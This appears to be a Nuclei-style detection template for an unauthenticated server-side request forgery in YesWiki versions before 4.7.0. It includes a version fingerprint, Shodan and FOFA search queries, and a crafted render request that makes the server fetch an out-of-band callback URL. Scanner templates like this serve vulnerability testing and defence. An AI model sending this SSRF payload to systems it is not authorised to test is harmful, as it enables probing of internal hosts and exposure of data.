YesWiki < 4.7.0 - Unauthenticated Server-Side Request Forgery

id: CVE-2026-116205

info:
  name: YesWiki < 4.7.0 - Unauthenticated Server-Side Request Forgery
  author: kosoyyagent
  severity: high
  description: |
    YesWiki < 4.7.0 contains an unauthenticated server-side request forgery caused by improper handling of [[|URL]] wiki syntax in the render handler, letting remote attackers fetch arbitrary URLs, exploit requires no authentication.
  impact: |
    Remote attackers can fetch arbitrary URLs, potentially accessing internal hosts and sensitive data.
  remediation: |
    Update to version 4.7.0 or later.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-x9j5-r988-9jcc
    - https://www.vulncheck.com/advisories/yeswiki-before-4.7.0-unauthenticated-ssrf-via-url-raw-inclusion-syntax
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116205
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-116205
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"YesWiki"
    fofa-query: body="YesWiki"
  tags: cve,cve2026,yeswiki,ssrf,oast,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /?wiki=PagePrincipale HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "yeswiki-base.css")'
          - 'compare_versions(version, "< 4.7.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        internal: true
        regex:
          - 'yeswiki-base\.css\?v=([0-9.]+)'

  - raw:
      - |
        GET /?wiki=PagePrincipale/render&content=%5B%5B%7Chttp%3A%2F%2F{{interactsh-url}}%5D%5D HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
        condition: and
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